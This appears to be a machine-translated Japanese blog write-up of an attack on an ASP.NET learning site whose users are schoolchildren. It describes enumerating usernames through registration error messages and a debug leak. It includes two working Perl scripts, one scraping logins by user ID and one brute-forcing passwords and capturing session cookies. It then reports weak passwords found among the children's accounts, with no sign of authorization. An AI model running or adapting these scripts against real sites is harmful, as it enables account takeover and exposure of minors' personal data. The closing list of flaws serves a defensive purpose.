カットの下でサイトを設計する際に注意を払う必要があるものについての詳細をお読みください。
探検
問題のサイトはASP.NETで記述されています。 AJAX、HTML5、またはその他の機能のような特別な技術的な改良はありません。 通常のメニュー、静的テキスト。 聴衆は小学生と小学生です。
プロジェクトの基礎となる機能は、仮想Javaマシンを介して個別に実装されますが、ここでは説明しません。
開始するには、登録をご覧ください。 一般に、ユーザー名とニックネームを別々に使用するのはあまり便利ではありませんが、この場合、ユーザーは実際の個人データを入力するため、セキュリティを強化しながらユーザー名を追加することをお勧めします。 当然、これはログインのリストを取得できない場合にのみ重みがあります。 この場合、パスワードだけでなくログインも整理する必要があります。 したがって、存在しないログインへのログイン試行回数は十分に多くなり、ハッキング試行の兆候となる可能性があります。
サイトをもう少し登ってみると、どこにもオープンログインは見つかりませんでした。 これらは、登録と承認にのみ使用されます。 明らかですが、それほどおもしろくない考えが思い浮かびます：登録フォームを介してビジーログインを送信します-そのようなユーザーが既に登録されているというエラーを受け取ります。
したがって、特に一般的な名前の十分なデータベースを取得する場合は、エラーメッセージを解析することでログインを除外できます。 例えばここに
もちろん、存在しないログインごとに登録が行われると、うまく機能しません。 すでにこのような大幅なユーザー数の同時増加が顕著になります。
登録スクリプトに送信されるPOSTリクエストの内容を変更することで、これを回避しようとしました。 そこに有用な脆弱性が発見されました。システムは最初にデータベースにログインがあるかどうかをチェックし、それからパスワードを確認しました。 （パスワードと確認がサーバーでも一致するかどうかさらにチェックされるのは驚くべきことです）。
したがって、実際の登録をバイパスして検索を完全に整理します。 キャプチャに関しては-それは障害にならないほど単純です。
ただし、単純なログインブルートフォースは別の記事に値しません。 十分な脆弱性を見つけた後、時間内に別のチャットアプリケーションを見つけました。ユーザーログインはメッセージ送信ウィンドウにありました。 誰が、なぜ彼をそこに置いたかを言うのは難しい。 どうやら、彼らがシステムを書いたとき、フルネームはまだ入力されていなかったので、彼らはこのデバッグ出力を忘れていました。 ことわざにあるように、 「一時的なものほど永続的なものはありません。」
結果分析
ログインデータベースが必要です。 簡単に取得できます。ページを解析するだけです
各ユーザーのsite / icq /？id = N
for ($k=0;$k<$max_thread;$k++){ thread_search(); } $cv->recv; sub thread_search{ my $url = "http://site/icq/?user=".$i; http_get $url, sub { my ($body, $hdr) = @_; if ($hdr->{Status} =~ /^2/) { if ($body =~ /<TITLE>(.*) "/){ print OUTPUT $1.",$i\n"; } } else { print OUTPUT $url." error, ".$hdr->{Status}." ".$hdr->{Reason}."\n"; } $i++; if ($i>$MAX){ $cv->send; } else{ thread_search(); } }; }
書面は十分に早く完了しました。 その結果、データベースを取得し、それを分類してグループに分け、美しい図を作成しました。
そして、 ここにログインの例があります。
ダイレクトアクション
システムにはパスワードポリシーがなく、少なくとも1文字を入力できるため、通常のブルートフォースは成功するはずです。
この場合、パスワードをストリーム全体に配布します。 各スレッドは、すべてのログインに対して1つのパスワードを反復処理します。 これは最適です そのようなリソースのパスワードは通常、非常に簡単に使用されます。
#!/usr/bin/perl use LWP::UserAgent; require HTTP::Request; my $pass = $ARGV[0]; open(OUTPUT,'+>out'.$pass.'.txt'); open(INPUT,'<lof.txt'); while (<INPUT>) { my $l = $_; chop $l; my $ua = new LWP::UserAgent; $ua->agent("Mozilla/5.0 (X11; Linux i686; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"); $form = "lgn=$l&password=$pass"; my $request = HTTP::Request->new(POST => 'http://site/'); $request->content($form); $request->content_type('application/x-www-form-urlencoded'); my $response = $ua->request($request); my $co = $response->header("Set-Cookie"); print $co."\n"; }
まあ、いくつかのブルートフォースの結果。 あまり関心がなかったので、すべてのユーザーを調べたわけではありません。 ただし、小さなフォーカスグループでも、デジタルパスワード、qweqwe、qwertyパスワードなどを使用するユーザーは多数いました。
ちなみに、qwertyパスワードにはわずか0.1％しかありませんが、デジタルパスワードのさまざまなバリエーションは合計で1〜4文字で20％を超えています。
結論
私の意見では、リソースの最も重大な欠点のリストには以下が含まれます。
*不注意（サイトではクリアテキストでログインできました）
*不正なデータ検証シーケンス
*弱いキャプチャ
*任意のIPからの許可されていない認証試行回数
*弱いパスワードポリシー（ユーザーがデジタルパスワードを入力できないようにする必要があります）
関連リンク
ユーザーエージェント
Anyvent
HTTPリクエスト
スレッド
klokの記事を編集していただきありがとうございます